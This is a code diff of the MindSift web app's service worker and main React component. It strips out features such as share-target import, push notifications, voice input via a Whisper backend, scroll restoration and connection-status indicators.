Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.5 KiB

+2 -125
View File
@@ -2,17 +2,13 @@
// - Page loads (navigation): network first, so a new release is picked up right away; offline the
// last loaded index.html is used.
// - Built bundles (/assets/*, file names contain a content hash): from the cache, loaded once.
// - Icons: from the cache, refreshed in the background.
// - Manifest: network first (the browser checks it for changed app colours and name; a cached copy
// would hand it the old values), the cache only offline.
// - Icons and manifest: from the cache, refreshed in the background.
// - API requests are never touched; offline data comes from the app's own cache (lib/offline.ts).
// Raise VERSION when this file changes in a way that needs fresh caches.
const VERSION = 'v6';
const VERSION = 'v2';
const SHELL_CACHE = `mindsift-shell-${VERSION}`;
const ASSET_CACHE = `mindsift-assets-${VERSION}`;
const MAX_ASSETS = 80;
const SHARE_DB_NAME = 'mindsift-share-target';
const SHARE_STORE_NAME = 'shared_items';
const SHELL_URLS = [
'/',
'/index.html',
@@ -22,9 +18,6 @@ const SHELL_URLS = [
'/icon-192x192.png',
'/icon-512x512.png',
'/apple-touch-icon.png',
'/badge-96x96.png',
'/boot-theme.js',
'/pwa-install.js',
];
self.addEventListener('install', (event) => {
@@ -75,17 +68,6 @@ async function cacheFirstAsset(request) {
return response;
}
async function networkFirstShell(request) {
const cache = await caches.open(SHELL_CACHE);
try {
const response = await fetch(request, { cache: 'no-store' });
if (response.ok && response.type === 'basic') cache.put(request, response.clone());
return response;
} catch {
return (await cache.match(request)) || Response.error();
}
}
async function staleWhileRevalidate(request) {
const cache = await caches.open(SHELL_CACHE);
const hit = await cache.match(request);
@@ -98,78 +80,8 @@ async function staleWhileRevalidate(request) {
return hit || refresh;
}
function openShareDB() {
return new Promise((resolve, reject) => {
const req = indexedDB.open(SHARE_DB_NAME, 1);
req.onupgradeneeded = () => {
const db = req.result;
if (!db.objectStoreNames.contains(SHARE_STORE_NAME)) {
db.createObjectStore(SHARE_STORE_NAME, { autoIncrement: true, keyPath: 'id' });
}
};
req.onsuccess = () => resolve(req.result);
req.onerror = () => reject(req.error);
});
}
async function savePendingShare(item) {
const db = await openShareDB();
return new Promise((resolve, reject) => {
const tx = db.transaction(SHARE_STORE_NAME, 'readwrite');
tx.objectStore(SHARE_STORE_NAME).add(item);
tx.oncomplete = () => {
db.close();
resolve();
};
tx.onerror = () => {
db.close();
reject(tx.error);
};
tx.onabort = () => {
db.close();
reject(tx.error);
};
});
}
async function handleShareTarget(event) {
try {
const formData = await event.request.formData();
const title = formData.get('title');
const text = formData.get('text');
const url = formData.get('url');
const media = formData.get('media');
let fileName = '';
let hasMedia = false;
if (media && typeof media === 'object') {
fileName = media.name || 'image';
hasMedia = true;
}
await savePendingShare({
title: typeof title === 'string' ? title.trim() : '',
text: typeof text === 'string' ? text.trim() : '',
url: typeof url === 'string' ? url.trim() : '',
fileName,
hasMedia,
createdAt: Date.now(),
});
} catch (err) {
console.error('[SW] Share-Target Fehler:', err);
}
return Response.redirect('/?shared=pending', 303);
}
self.addEventListener('fetch', (event) => {
const { request } = event;
if (request.method === 'POST') {
const url = new URL(request.url);
if (url.origin === self.location.origin && url.pathname === '/share-target') {
event.respondWith(handleShareTarget(event));
}
return;
}
if (request.method !== 'GET') return;
const url = new URL(request.url);
if (url.origin !== self.location.origin || url.pathname.startsWith('/api/')) return;
@@ -178,42 +90,7 @@ self.addEventListener('fetch', (event) => {
event.respondWith(networkFirstPage(request));
} else if (url.pathname.startsWith('/assets/')) {
event.respondWith(cacheFirstAsset(request));
} else if (url.pathname === '/manifest.json') {
event.respondWith(networkFirstShell(request));
} else if (SHELL_URLS.includes(url.pathname)) {
event.respondWith(staleWhileRevalidate(request));
}
});
// Web push: show the notification; a click focuses an open MindSift window or opens a new one
self.addEventListener('push', (event) => {
let msg = {};
try {
msg = event.data ? event.data.json() : {};
} catch {
msg = { body: event.data ? event.data.text() : '' };
}
event.waitUntil(
self.registration.showNotification(msg.title || 'MindSift', {
body: msg.body || '',
icon: '/icon-192x192.png',
// Status bar icon: Android only uses the alpha channel, the full app icon became a plain square
badge: '/badge-96x96.png',
tag: msg.tag || undefined,
data: { url: msg.url || '/' },
})
);
});
self.addEventListener('notificationclick', (event) => {
event.notification.close();
const target = new URL((event.notification.data && event.notification.data.url) || '/', self.location.origin);
event.waitUntil(
self.clients.matchAll({ type: 'window', includeUncontrolled: true }).then((windows) => {
for (const w of windows) {
if (new URL(w.url).origin === target.origin && 'focus' in w) return w.focus();
}
return self.clients.openWindow(target.href);
})
);
});
+119 -414
View File
@@ -10,7 +10,6 @@ import {
LogOut,
ChevronDown,
RotateCcw,
Trash2,
Palette,
HelpCircle,
Plus,
@@ -24,7 +23,6 @@ import {
Flame,
Mic,
MicOff,
Loader2,
Search,
} from 'lucide-react';
import { AuthStatus, DashboardStats, PriorityLevel, SharedList, Thought, User, UserTheme } from './lib/types';
@@ -37,15 +35,10 @@ import {
disconnectWebSocket,
isSharingDisabled,
} from './lib/api';
import { useVoiceInput } from './lib/useVoiceInput';
import { VoiceWave } from './components/VoiceWave';
import {
AVAILABLE_THEMES,
customThemeOption,
initThemeOnBoot,
hasChosenTheme,
DEMO_THEME,
watchSystemScheme,
isCustomThemeId,
setActiveTheme as applyTheme,
ThemeId,
@@ -58,10 +51,7 @@ import { TasksView } from './features/triage/TasksView';
import { WorkspaceView } from './features/workspace/WorkspaceView';
import { SharedListsView } from './features/lists/SharedListsView';
import { SetupAndAuthView } from './features/auth/SetupAndAuthView';
import { OAuthConsentView } from './features/auth/OAuthConsentView';
import { OfflineBanner } from './components/OfflineBanner';
import { useConnectionState } from './lib/useConnectionState';
import { SharedImportToast } from './components/SharedImportToast';
import { outboxCount, clearOfflineData } from './lib/offline';
import { DemoCountdown } from './components/DemoCountdown';
import { UserSettingsView } from './features/settings/UserSettingsView';
@@ -72,32 +62,17 @@ import { useMobileActions } from './context/MobileActionContext';
import { MobileHeaderMenu } from './components/MobileHeaderMenu';
import { UserAvatar } from './components/UserAvatar';
import { CommandPalette } from './components/CommandPalette';
import { AppFooter } from './components/AppFooter';
import { ThemeQuickPicker } from './components/ThemeQuickPicker';
import { AboutModal } from './components/AboutModal';
import { TriageTrash } from './features/triage/TriageTrash';
import { UpdateAvailableModal } from './components/UpdateAvailableModal';
import { useUpdateCheck } from './lib/useUpdateCheck';
import { consumePendingShares, formatSharedThought } from './lib/shareTarget';
import { APP_VERSION } from './version';
import { readViewSession, writeViewSession } from './lib/viewSession';
import { reportNav, onNavStep } from './lib/navHistory';
import { setVoicePreference } from './lib/voice';
import { isPhoneWidth } from './lib/breakpoints';
// Connection status at the profile (useConnectionState); full class names for Tailwind
const CONNECTION_STATUS = {
online: { label: 'online', dot: 'bg-status-ok', title: 'Online – Änderungen kommen sofort an' },
limited: {
label: 'eingeschränkt',
dot: 'bg-status-warn',
title: 'Eingeschränkt – keine direkte Live-Verbindung (z. B. Firmen-Proxy); Änderungen anderer kommen über Long Polling, etwas verzögert',
},
offline: { label: 'offline', dot: 'bg-status-err', title: 'Offline – keine Verbindung zum Server; Änderungen werden später synchronisiert' },
} as const;
const APP_TABS = ['triage', 'tasks', 'workspace', 'lists', 'groups', 'user_settings', 'admin_settings', 'help'] as const;
type ActiveTab = (typeof APP_TABS)[number];
type ActiveTab =
| 'triage'
| 'tasks'
| 'workspace'
| 'lists'
| 'groups'
| 'user_settings'
| 'admin_settings'
| 'help';
interface ErrorBoundaryState {
hasError: boolean;
@@ -153,9 +128,6 @@ export const App: React.FC = () => {
const [demoDeadline, setDemoDeadline] = useState<number | null>(null);
const [dataEpoch, setDataEpoch] = useState(0);
const [demoNotice, setDemoNotice] = useState<string | null>(null);
// Just shared from another app: these Quick Dump entries can still be sent on as task / list item
const [sharedImportIds, setSharedImportIds] = useState<string[] | null>(null);
const closeSharedImport = useCallback(() => setSharedImportIds(null), []);
const lastDemoResetRef = useRef(0);
const handleDemoResetRef = useRef<() => void>(() => {});
// Link from the password reset mail (?resetToken=…); removed from the address bar right away
@@ -183,26 +155,7 @@ export const App: React.FC = () => {
});
const [deck, setDeck] = useState<Thought[]>([]);
const [lists, setLists] = useState<SharedList[]>([]);
// The open tab survives a reload of this browser tab (lib/viewSession); a new tab starts at the triage
const [activeTab, setActiveTab] = useState<ActiveTab>(() => {
const tab = readViewSession<{ tab: ActiveTab }>('app').tab;
return tab && APP_TABS.includes(tab) ? tab : 'triage';
});
useEffect(() => writeViewSession('app', { tab: activeTab }), [activeTab]);
// Browser back/forward steps through the app's pages (lib/navHistory.ts)
useEffect(() => reportNav({ tab: activeTab }), [activeTab]);
useEffect(
() =>
onNavStep((place) => {
if ((APP_TABS as readonly string[]).includes(place.tab)) setActiveTab(place.tab as ActiveTab);
}),
[]
);
// Whisper or the browser for voice input: the account's choice (lib/voice.ts)
useEffect(() => setVoicePreference(user?.voiceInput), [user?.voiceInput]);
useEffect(() => {
if (user && user.role !== 'admin' && activeTab === 'admin_settings') setActiveTab('triage');
}, [user, activeTab]);
const [activeTab, setActiveTab] = useState<ActiveTab>('triage');
const [previousTab, setPreviousTab] = useState<ActiveTab>('triage');
const [selectedDocId, setSelectedDocId] = useState<string | null>(null);
const [selectedBlockId, setSelectedBlockId] = useState<string | null>(null);
@@ -214,54 +167,6 @@ export const App: React.FC = () => {
// Profile Dropdown State
const [showProfileMenu, setShowProfileMenu] = useState(false);
const connection = useConnectionState();
// Desktop: the window does not scroll; this area under the header does (phones keep the window scroll)
const scrollAreaRef = useRef<HTMLDivElement>(null);
// Each page keeps its scroll position when switching pages. The new page is often still loading and
// shorter than before: the position comes back as soon as the content is high enough (or the user
// scrolls first, or after 3 s). Scroll events meanwhile do not count as the page's position.
const scrollPositionsRef = useRef<Partial<Record<ActiveTab, number>>>({});
useEffect(() => {
const area = scrollAreaRef.current;
if (!area) return;
const target = scrollPositionsRef.current[activeTab] ?? 0;
let restoring = true;
let observer: ResizeObserver | null = null;
const finish = () => {
if (!restoring) return;
restoring = false;
observer?.disconnect();
window.clearTimeout(timeout);
area.removeEventListener('wheel', finish);
area.removeEventListener('pointerdown', finish);
area.removeEventListener('keydown', finish);
};
const tryRestore = () => {
area.scrollTop = target;
if (Math.abs(area.scrollTop - target) < 2) finish();
};
const timeout = window.setTimeout(finish, 3000);
area.addEventListener('wheel', finish, { passive: true });
area.addEventListener('pointerdown', finish);
area.addEventListener('keydown', finish);
tryRestore();
if (restoring && typeof ResizeObserver !== 'undefined' && area.firstElementChild) {
observer = new ResizeObserver(tryRestore);
observer.observe(area.firstElementChild);
}
const onScroll = () => {
if (!restoring) scrollPositionsRef.current[activeTab] = area.scrollTop;
};
area.addEventListener('scroll', onScroll, { passive: true });
return () => {
finish();
area.removeEventListener('scroll', onScroll);
};
}, [activeTab, user?.id]);
const [showAbout, setShowAbout] = useState(false);
const [showTriageTrash, setShowTriageTrash] = useState(false);
const { update: availableUpdate, dismiss: dismissUpdate } = useUpdateCheck();
const dropdownRef = useRef<HTMLDivElement | null>(null);
// Mobile Navigation & Quick-Action State
@@ -270,32 +175,49 @@ export const App: React.FC = () => {
const [mobileTriageContent, setMobileTriageContent] = useState('');
const [mobileTriagePriority, setMobileTriagePriority] = useState<PriorityLevel>('normal');
const [mobileTriageDueDate, setMobileTriageDueDate] = useState('');
const [mobileVoiceActive, setMobileVoiceActive] = useState(false);
const [isVoiceCaptured, setIsVoiceCaptured] = useState(false);
const [mobileVoiceError, setMobileVoiceError] = useState<string | null>(null);
const mobileRecognitionRef = useRef<any>(null);
const mobileBaseVoiceRef = useRef('');
// Voice input of the mobile capture sheet: own Whisper server or the browser (lib/voice.ts)
const mobileVoice = useVoiceInput({
chunked: true,
onText: (text) => {
if (!text) return;
const base = mobileBaseVoiceRef.current;
setMobileTriageContent(base ? `${base} ${text}` : text);
setIsVoiceCaptured(true);
},
onError: (message) => {
setMobileVoiceError(message);
window.setTimeout(() => setMobileVoiceError(null), 4000);
},
});
const mobileVoiceActive = mobileVoice.state === 'listening';
const toggleMobileVoice = () => {
if (mobileVoice.state === 'idle') {
const SpeechRecognition =
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
if (!SpeechRecognition) {
alert('Spracheingabe wird von diesem Browser leider nicht unterstützt.');
return;
}
if (mobileVoiceActive && mobileRecognitionRef.current) {
mobileRecognitionRef.current.stop();
setMobileVoiceActive(false);
return;
}
try {
mobileBaseVoiceRef.current = mobileTriageContent.replace(/\s*\[…\]$/, '').trim();
setMobileVoiceError(null);
const recognition = new SpeechRecognition();
recognition.lang = 'de-DE';
recognition.continuous = false;
recognition.interimResults = true;
recognition.onstart = () => {
setMobileVoiceActive(true);
triggerHaptic(20);
};
recognition.onresult = (event: any) => {
let transcript = '';
for (let i = 0; i < event.results.length; i++) {
transcript += event.results[i][0].transcript;
}
const base = mobileBaseVoiceRef.current;
setMobileTriageContent(base ? `${base} ${transcript}` : transcript);
setIsVoiceCaptured(true);
};
recognition.onerror = () => setMobileVoiceActive(false);
recognition.onend = () => setMobileVoiceActive(false);
mobileRecognitionRef.current = recognition;
recognition.start();
} catch {
setMobileVoiceActive(false);
}
mobileVoice.toggle();
};
const handleMobileCreateTriage = async (e: React.FormEvent) => {
@@ -327,39 +249,11 @@ export const App: React.FC = () => {
setMobileTriagePriority('normal');
setMobileTriageDueDate('');
setIsVoiceCaptured(false);
if (mobileVoice.state !== 'idle') mobileVoice.cancel();
setMobileVoiceActive(false);
setShowMobileCapture(true);
};
const { isMenuOpen, setIsMenuOpen, closeMenu, setGroups, primaryAction, setPrimaryAction } = useMobileActions();
const primaryActionRef = useRef(primaryAction);
primaryActionRef.current = primaryAction;
// App icon shortcuts (manifest "shortcuts", long-press on the icon): open the tab and its input right away.
// ?shortcut=quickdump|task|list; the old links (?mode=capture, ?tab=triage) still lead to the Quick Dump.
const [pendingShortcut, setPendingShortcut] = useState<ActiveTab | null>(() => {
const params = new URLSearchParams(window.location.search);
const target = params.get('shortcut') || (params.get('mode') === 'capture' || params.get('tab') === 'triage' ? 'quickdump' : '');
return ({ quickdump: 'triage', task: 'tasks', list: 'lists' } as Record<string, ActiveTab>)[target] || null;
});
useEffect(() => {
if (!pendingShortcut || !user) return;
if (activeTab !== pendingShortcut) {
setActiveTab(pendingShortcut);
return;
}
const target = pendingShortcut;
setPendingShortcut(null);
const url = new URL(window.location.href);
['shortcut', 'mode', 'tab'].forEach((k) => url.searchParams.delete(k));
window.history.replaceState({}, '', url.pathname + url.search + url.hash);
// The view registers its "+" action once it is mounted, so wait a moment (no cleanup: resetting
// pendingShortcut above re-runs this effect and must not cancel the timer)
window.setTimeout(() => {
if (target === 'triage') handleTriggerAddButton();
else if (isPhoneWidth() || target === 'lists') primaryActionRef.current?.();
}, 400);
}, [pendingShortcut, user?.id, activeTab]);
useEffect(() => {
closeMenu();
@@ -384,13 +278,6 @@ export const App: React.FC = () => {
badge: stats.inboxCount,
onClick: () => refreshAll(),
},
{
id: 'triage-trash',
label: 'Papierkorb',
icon: <Trash2 className="w-4 h-4" />,
badge: stats.discardedCount,
onClick: () => setShowTriageTrash(true),
},
],
},
{
@@ -471,7 +358,7 @@ export const App: React.FC = () => {
},
]);
}
}, [activeTab, stats.inboxCount, stats.tasksOpenCount, stats.docsCount, stats.listsCount, stats.discardedCount]);
}, [activeTab, stats.inboxCount, stats.tasksOpenCount, stats.docsCount, stats.listsCount]);
// Mobile Web-App (PWA) Installation State
const [isStandaloneApp, setIsStandaloneApp] = useState<boolean>(() => {
@@ -520,7 +407,7 @@ export const App: React.FC = () => {
// Immediately offer Web-App installation on mobile if not yet running as installed standalone app
useEffect(() => {
if (!user || isStandaloneApp) return;
if (isPhoneWidth() && !sessionStorage.getItem('mindsift_pwa_dismissed')) {
if (window.innerWidth < 640 && !sessionStorage.getItem('mindsift_pwa_dismissed')) {
setShowPwaInstallModal(true);
}
}, [user?.id, isStandaloneApp]);
@@ -566,9 +453,6 @@ export const App: React.FC = () => {
setActiveThemeState(isCustomThemeId(themeId) && css === undefined ? 'dark' : themeId);
};
// "Wie System": the theme follows the system's light/dark switch while the app is open
useEffect(() => watchSystemScheme(setActiveThemeState), []);
const handleChangeTheme = (themeId: ThemeId) => {
triggerHaptic(10);
activateTheme(themeId, customThemes);
@@ -683,60 +567,6 @@ export const App: React.FC = () => {
);
}, [authStatus.demoMode, authStatus.demoResetInSeconds]);
// Demo: first visit on this device starts with a round theme instead of the square default
useEffect(() => {
if (!authStatus.demoMode || hasChosenTheme()) return;
applyTheme(DEMO_THEME);
setActiveThemeState(DEMO_THEME);
}, [authStatus.demoMode]);
// Web Share Target: import shared thoughts from external apps
useEffect(() => {
if (!user) return;
const params = new URLSearchParams(window.location.search);
const hasPendingShare = params.get('shared') === 'pending';
const processShares = async () => {
try {
const shares = await consumePendingShares();
if (shares.length === 0) return;
let importedCount = 0;
const ids: string[] = [];
for (const share of shares) {
const content = formatSharedThought(share);
if (content) {
const created = await api.captureThought(content, 'normal', 'manual', '', { target: 'inbox' });
importedCount++;
if (created?.id && !created.id.startsWith('th_offline_')) ids.push(created.id);
}
}
if (importedCount > 0) {
triggerHaptic(15);
if (ids.length === importedCount) {
setSharedImportIds(ids);
} else {
// Offline: kept for later, nothing to convert yet
setDemoNotice('Im Quick Dump abgelegt');
setTimeout(() => setDemoNotice(null), 4000);
}
refreshAll();
}
} catch (err) {
console.error('Fehler beim Import geteilter Daten:', err);
} finally {
if (hasPendingShare) {
const url = new URL(window.location.href);
url.searchParams.delete('shared');
window.history.replaceState({}, '', url.pathname + (url.search ? url.search : '') + url.hash);
}
}
};
processShares();
}, [user, refreshAll]);
// The demo database was reset: drop cached answers of the old data, remount the views (they load
// fresh data), refresh counters and the countdown. Sessions stay valid (fixed demo account IDs).
const handleDemoReset = useCallback(() => {
@@ -764,20 +594,8 @@ export const App: React.FC = () => {
}, 5000);
}, []);
// Refresh stats on task/doc/list real-time events (counters in the navigation). Task events also
// reload the triage deck: a note sorted on another device must leave this deck too.
// Refresh stats on task/doc/list real-time events (counters in the navigation)
useEffect(() => {
let deckTimer: number | undefined;
const reloadDeck = () => {
window.clearTimeout(deckTimer);
deckTimer = window.setTimeout(() => {
api.getTriageDeck().then((res) => setDeck(Array.isArray(res) ? res : [])).catch(() => {});
}, 300);
};
// Events missed while the tab slept (desktop in the background, connection dropped)
const onVisible = () => {
if (document.visibilityState === 'visible' && getToken()) refreshAll();
};
const handleWs = (e: any) => {
const msg = e.detail;
if (!msg) return;
@@ -792,17 +610,13 @@ export const App: React.FC = () => {
api.getMe().then((res) => {
setStats(res.stats);
}).catch(() => {});
if (msg.event.startsWith('TASK_')) reloadDeck();
}
};
window.addEventListener('mindsift:ws', handleWs);
document.addEventListener('visibilitychange', onVisible);
return () => {
window.clearTimeout(deckTimer);
window.removeEventListener('mindsift:ws', handleWs);
document.removeEventListener('visibilitychange', onVisible);
};
}, [refreshAll]);
}, []);
// Close profile dropdown on outside click
useEffect(() => {
@@ -883,10 +697,10 @@ export const App: React.FC = () => {
const handleTriggerAddButton = () => {
triggerHaptic(20);
if (isPhoneWidth()) {
if (window.innerWidth < 640) {
openMobileTriageCapture();
} else {
scrollAreaRef.current?.scrollTo?.({ top: 0, behavior: 'smooth' });
window.scrollTo({ top: 0, behavior: 'smooth' });
setCaptureFocusCount((c) => c + 1);
}
};
@@ -912,7 +726,7 @@ export const App: React.FC = () => {
if (bootLoading) {
return (
<div className="min-h-[100dvh] bg-canvas text-muted flex items-center justify-center text-xs font-sans">
<div className="min-h-screen bg-canvas text-muted flex items-center justify-center text-xs font-sans">
Verbinde mit MindSift…
</div>
);
@@ -936,12 +750,6 @@ export const App: React.FC = () => {
);
}
// Consent of the OAuth flow (claude.ai, ChatGPT connect over MCP) instead of the app; after logging in
// the address is still /oauth/authorize, so the consent follows the login
if (window.location.pathname === '/oauth/authorize') {
return <OAuthConsentView user={user} instanceName={authStatus.instanceName || 'MindSift'} onLogout={handleLogout} />;
}
const isServerAdmin = user.role === 'admin';
const roleLabel = isServerAdmin ? 'Server-Admin' : 'Mitglied';
@@ -957,15 +765,9 @@ export const App: React.FC = () => {
};
return (
<div
className={`bg-canvas text-main flex flex-col font-sans selection:bg-accent/30 sm:h-[100dvh] sm:overflow-hidden ${
activeTab === 'workspace' ? 'h-[100dvh] overflow-hidden' : 'min-h-[100dvh]'
}`}
>
<div className="min-h-screen bg-canvas text-main flex flex-col font-sans selection:bg-accent/30">
{/* Top Header Bar: Floating on mobile, solid panel on desktop */}
<header
className="sticky top-0 z-30 bg-canvas/85 backdrop-blur-md sm:bg-panel sm:border-b sm:border-border sm:shadow-sm"
>
<header className="sticky top-0 z-30 bg-canvas/85 backdrop-blur-md sm:bg-panel sm:border-b sm:border-border sm:shadow-sm">
{/* Mobile Header: Floating Bar with Logo Action Dropdown Left & Profile Avatar Right */}
<div className="sm:hidden flex items-center justify-between h-14 px-4 pt-1">
<button
@@ -1029,14 +831,11 @@ export const App: React.FC = () => {
triggerHaptic(10);
setShowCommandPalette(true);
}}
className="w-11 h-11 rounded-full flex items-center justify-center text-muted hover:text-main transition-transform active:scale-95 cursor-pointer"
className="w-11 h-11 rounded-full flex items-center justify-center text-muted hover:text-main bg-panel border border-border transition-transform active:scale-95 cursor-pointer"
title="Globale Suche"
aria-label="Globale Suche öffnen"
>
{/* Same visible size as the avatar next to it; the 44px button stays the touch target */}
<span className="w-9 h-9 rounded-full flex items-center justify-center bg-panel border border-border">
<Search className="w-4 h-4" />
</span>
</button>
<button
@@ -1052,29 +851,20 @@ export const App: React.FC = () => {
}`}
title="Profil & Einstellungen"
>
<span className="relative">
<UserAvatar user={user} size="md" className="shadow-sm" />
{/* Connection status like in a chat app: green online, yellow limited, red without server */}
<span
role="status"
aria-label={CONNECTION_STATUS[connection].title}
className={`absolute bottom-0 right-0 w-2.5 h-2.5 rounded-full ring-2 ring-canvas ${CONNECTION_STATUS[connection].dot}`}
/>
</span>
<UserAvatar user={user} size="sm" className="shadow-sm" />
</button>
</div>
</div>
{/* Desktop Header: 3-column grid (Logo, InstantCaptureBar, Profile Pill) with equal outer columns, so
the capture bar stays exactly centred whatever name or status stands on the right */}
<div className="hidden sm:grid grid-cols-[minmax(12rem,1fr)_minmax(0,36rem)_minmax(12rem,1fr)] max-w-6xl mx-auto px-4 py-2 items-start gap-6">
{/* Desktop Header: 3-column Layout (Logo, InstantCaptureBar, Profile Pill) */}
<div className="hidden sm:flex max-w-6xl mx-auto px-4 py-2 items-start justify-between gap-6">
{/* Logo & Headline */}
<div
onClick={() => {
setActiveTab('triage');
handleTriggerAddButton();
}}
className="h-9 flex items-center gap-2.5 cursor-pointer group select-none flex-shrink-0 justify-self-start"
className="h-9 flex items-center gap-2.5 cursor-pointer group select-none flex-shrink-0"
>
<div className="w-7 h-7 bg-accent text-on-accent rounded-btn flex items-center justify-center">
<Brain className="w-4 h-4" />
@@ -1097,7 +887,7 @@ export const App: React.FC = () => {
</div>
{/* Quick-Capture Input Bubble directly in Header (above Tabs) */}
<div className="w-full max-w-xl mx-auto flex items-center gap-2">
<div className="flex-1 max-w-xl mx-auto flex items-center gap-2">
<div className="flex-1">
<InstantCaptureBar
onCaptured={handleCaptured}
@@ -1117,7 +907,7 @@ export const App: React.FC = () => {
</div>
{/* User Profile Pill & Dropdown Menu */}
<div className="relative h-9 flex items-center gap-2 flex-shrink-0 justify-self-end" ref={dropdownRef}>
<div className="relative h-9 flex items-center gap-2 flex-shrink-0" ref={dropdownRef}>
<button
onClick={() => {
triggerHaptic(10);
@@ -1127,25 +917,14 @@ export const App: React.FC = () => {
title="Benutzermenü öffnen"
>
<UserAvatar user={user} size="sm" />
{/* Wide enough for the longest status ("eingeschränkt"), so switching status moves nothing */}
<span className="flex flex-col items-start leading-tight min-w-[5.5rem]">
<span className="max-w-[130px] truncate hidden sm:inline text-main font-medium">
{user.displayName}
</span>
<span
role="status"
title={CONNECTION_STATUS[connection].title}
className="hidden sm:inline-flex items-center gap-1 text-[10px] font-normal text-muted"
>
<span className={`w-1.5 h-1.5 rounded-full ${CONNECTION_STATUS[connection].dot}`} />
{CONNECTION_STATUS[connection].label}
</span>
</span>
<ChevronDown className="w-3.5 h-3.5 text-muted group-hover:text-main transition-colors" />
</button>
{showProfileMenu && (
<div className="absolute right-0 top-full mt-1.5 w-64 panel-surface shadow-panel overflow-hidden z-50 divide-y divide-border text-xs origin-top-right animate-in fade-in zoom-in-95 slide-in-from-top-1 duration-150">
<div className="absolute right-0 top-full mt-1.5 w-64 panel-surface shadow-panel z-50 divide-y divide-border text-xs">
{/* User Info Header */}
<div className="p-3 bg-canvas flex items-center gap-2.5">
<UserAvatar user={user} size="md" className="border border-border/70" />
@@ -1164,7 +943,26 @@ export const App: React.FC = () => {
<Palette className="w-3 h-3 text-accent" />
<span>Design-Theme</span>
</span>
<ThemeQuickPicker activeTheme={activeTheme} themes={allThemes} onChange={handleChangeTheme} />
<div className="grid grid-cols-2 gap-1">
{allThemes.map((t) => (
<button
key={t.id}
type="button"
onClick={() => handleChangeTheme(t.id)}
className={`h-7 px-2 text-[11px] font-medium border rounded-btn flex items-center gap-1.5 transition-colors ${
activeTheme === t.id
? 'bg-panel-elevated border-accent text-main font-semibold'
: 'bg-canvas border-border text-muted hover:text-main'
}`}
>
<span
className="w-2.5 h-2.5 border border-strong flex-shrink-0"
style={{ backgroundColor: t.previewBg }}
/>
<span className="truncate">{t.name.replace('MindSift ', '').split(' ')[0]}</span>
</button>
))}
</div>
</div>
{/* Menu Items */}
@@ -1254,9 +1052,9 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'triage' ? 'tab-btn-active' : ''}`}
>
<Layers className="w-4 h-4" />
<span className="inline-flex items-center">
<span className={`relative inline-flex items-center ${stats.inboxCount > 0 ? 'pr-3' : ''}`}>
<span>Triage</span>
<CountBadge count={stats.inboxCount} variant="accent" position="text" />
<CountBadge count={stats.inboxCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
</span>
</button>
@@ -1279,9 +1077,9 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'tasks' ? 'tab-btn-active' : ''}`}
>
<CheckSquare className="w-4 h-4" />
<span className="inline-flex items-center">
<span className={`relative inline-flex items-center ${stats.tasksOpenCount > 0 ? 'pr-3' : ''}`}>
<span>Aufgaben</span>
<CountBadge count={stats.tasksOpenCount} variant="accent" position="text" />
<CountBadge count={stats.tasksOpenCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
</span>
</button>
@@ -1293,9 +1091,9 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'lists' ? 'tab-btn-active' : ''}`}
>
<ShoppingCart className="w-4 h-4" />
<span className="inline-flex items-center">
<span className={`relative inline-flex items-center ${(stats.listItemsOpenCount ?? 0) > 0 ? 'pr-3' : ''}`}>
<span>Listen</span>
<CountBadge count={stats.listItemsOpenCount} variant="accent" position="text" />
<CountBadge count={stats.listItemsOpenCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
</span>
</button>
</div>
@@ -1320,19 +1118,6 @@ export const App: React.FC = () => {
<MobileHeaderMenu activeTabLabel={activeTabLabelMap[activeTab]} />
<OfflineBanner />
{sharedImportIds && (
<SharedImportToast
thoughtIds={sharedImportIds}
lists={lists}
onClose={closeSharedImport}
onConverted={(message) => {
setSharedImportIds(null);
setDemoNotice(message);
setTimeout(() => setDemoNotice(null), 3000);
refreshAll();
}}
/>
)}
{demoNotice && (
<div
role="status"
@@ -1343,36 +1128,9 @@ export const App: React.FC = () => {
)}
{/* Main Container */}
{/* Desktop: the window never scrolls, only this area under the header (room for the scrollbar kept on
both sides, so the content stays centred under the header and nothing shifts between pages). The
workspace fills it exactly and scrolls only inside the note. Phones scroll the window as before. */}
<div
ref={scrollAreaRef}
data-app-scroll
className={`flex-1 flex flex-col min-h-0 sm:[scrollbar-gutter:stable_both-edges] ${
activeTab === 'workspace' ? 'sm:overflow-hidden' : 'sm:overflow-y-auto'
}`}
>
<main
className={`flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 ${
activeTab === 'workspace'
? 'min-h-0 flex flex-col sm:pb-0'
: activeTab === 'triage'
? 'sm:min-h-0 sm:flex sm:flex-col sm:pb-6'
: 'sm:pb-6'
}`}
>
<main className="flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 sm:pb-6">
<ViewErrorBoundary onReset={() => setActiveTab('triage')}>
<section
key={dataEpoch}
className={
activeTab === 'workspace'
? 'flex-1 min-h-0 flex flex-col'
: activeTab === 'triage'
? 'sm:flex-1 sm:min-h-0 sm:flex sm:flex-col' // the queue fills the rest of the height (TriageDeck)
: undefined
}
>
<section key={dataEpoch}>
{activeTab === 'triage' && (
<TriageDeck
deck={deck}
@@ -1380,8 +1138,6 @@ export const App: React.FC = () => {
onDeckChange={refreshAll}
onOpenDocument={handleOpenDocument}
onFocusCapture={handleTriggerAddButton}
discardedCount={stats.discardedCount}
onOpenTrash={() => setShowTriageTrash(true)}
/>
)}
@@ -1392,7 +1148,6 @@ export const App: React.FC = () => {
onOpenDocument={handleOpenDocument}
refreshTrigger={refreshRevision}
initialSelectedTaskId={selectedTaskId}
onInitialTaskShown={() => setSelectedTaskId(null)}
openTasksCount={stats.tasksOpenCount}
/>
)}
@@ -1452,15 +1207,9 @@ export const App: React.FC = () => {
</section>
</ViewErrorBoundary>
</main>
</div>
<AppFooter
legal={authStatus.legal}
onOpenAbout={() => setShowAbout(true)}
/>
{/* MOBILE BOTTOM NAVIGATION BAR (5 equal columns -> + FAB is dead-center) */}
